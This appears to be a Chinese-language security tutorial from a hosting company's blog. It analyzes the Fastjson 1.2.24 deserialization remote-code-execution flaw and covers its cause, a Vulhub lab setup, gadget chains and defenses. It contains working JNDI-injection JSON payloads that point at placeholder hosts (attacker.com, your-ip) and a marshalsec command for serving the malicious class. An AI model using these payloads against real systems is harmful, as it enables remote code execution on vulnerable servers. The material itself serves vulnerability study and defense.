溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣進行Fastjson 1.2.24反序列化漏洞分析

發布時間:2021-12-14 09:39:17 來源:億速云 閱讀:319 作者:柒染 欄目:安全技術
# 怎樣進行Fastjson 1.2.24反序列化漏洞分析

## 目錄
1. [漏洞背景與影響](#漏洞背景與影響)
2. [Fastjson基礎原理](#fastjson基礎原理)
3. [漏洞成因分析](#漏洞成因分析)
4. [漏洞復現環境搭建](#漏洞復現環境搭建)
5. [漏洞利用鏈構造](#漏洞利用鏈構造)
6. [漏洞防御方案](#漏洞防御方案)
7. [深度防御建議](#深度防御建議)
8. [相關工具與資源](#相關工具與資源)

---

## 漏洞背景與影響
Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)是2017年曝出的高危漏洞,攻擊者可通過精心構造的JSON數據實現遠程代碼執行(RCE)。該漏洞影響范圍包括:
- 所有使用Fastjson ≤1.2.24的Java應用
- 默認配置下開啟autoType功能的場景

### 典型攻擊場景
```java
// 漏洞觸發示例
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exp\", \"autoCommit\":true}";
JSON.parse(maliciousJson); // 觸發漏洞

Fastjson基礎原理

核心機制

Fastjson通過@type關鍵字實現JSON到Java對象的轉換:

public class User {
    private String name;
    // getter/setter...
}

// 反序列化過程
String json = "{\"@type\":\"com.example.User\",\"name\":\"test\"}";
User obj = JSON.parseObject(json, User.class);

autoType功能

  • 作用:動態加載未在代碼中顯式聲明的類
  • 風險:攻擊者可利用該特性加載任意類

漏洞成因分析

根本原因

Fastjson在反序列化時未充分驗證@type指定的類,導致攻擊者可以調用危險類的方法鏈(Gadget Chain)。

關鍵漏洞點

  1. JdbcRowSetImpl利用鏈

    graph LR
    A[JSON輸入] --> B[解析@type指定類]
    B --> C[調用setDataSourceName]
    C --> D[觸發JNDI查找]
    D --> E[遠程加載惡意類]
    
  2. TemplatesImpl利用鏈

    • 通過字節碼加載實現RCE

漏洞復現環境搭建

實驗環境

# 使用Vulhub快速搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d

驗證步驟

  1. 準備攻擊載荷:
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://your-ip:1099/Exploit",
  "autoCommit":true
}
  1. 啟動JNDI服務:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#Exploit"

漏洞利用鏈構造

典型Gadget組合

組件 作用
JdbcRowSetImpl 觸發JNDI注入
TemplatesImpl 直接加載字節碼
BasicDataSource 二次反序列化入口

攻擊載荷示例

// JNDI注入方式
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
    + "\"dataSourceName\":\"ldap://attacker.com/Exploit\","
    + "\"autoCommit\":true}";

// 原生字節碼加載方式
String payload2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"...}";

漏洞防御方案

官方修復方案

  1. Fastjson 1.2.25+ 默認關閉autoType
  2. 引入白名單機制:
ParserConfig.getGlobalInstance().addAccept("com.trusted.pkg.")

臨時緩解措施

# 關閉autoType
fastjson.parser.autoTypeAccept=cn.trust.*
fastjson.parser.autoTypeSupport=false

深度防御建議

安全開發實踐

  1. 使用最新Fastjson版本(當前≥1.2.83)
  2. 實現自定義反序列化過濾器:
public class SafeObjectCodec extends ObjectDeserializer {
    @Override
    public <T> T deserialze(...) {
        // 類型檢查邏輯
    }
}

架構級防護

方案 實施要點
WAF防護 攔截包含@type關鍵字的請求
RASP防護 運行時檢測反序列化行為
網絡隔離 限制外連請求

相關工具與資源

檢測工具

  1. fastjson-blacklist
  2. BurpFastjsonScan

學習資源


:本文僅用于安全研究學習,禁止用于非法用途。實際業務系統應升級至Fastjson最新安全版本。 “`

該文檔包含: 1. 完整的漏洞分析技術細節 2. 可視化流程圖(需支持mermaid渲染) 3. 實操復現步驟 4. 多維度防御方案 5. 工具資源索引

可根據需要擴展以下內容: - 增加其他利用鏈分析(如Rome鏈) - 添加實際案例分析 - 補充二進制字節碼構造細節

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女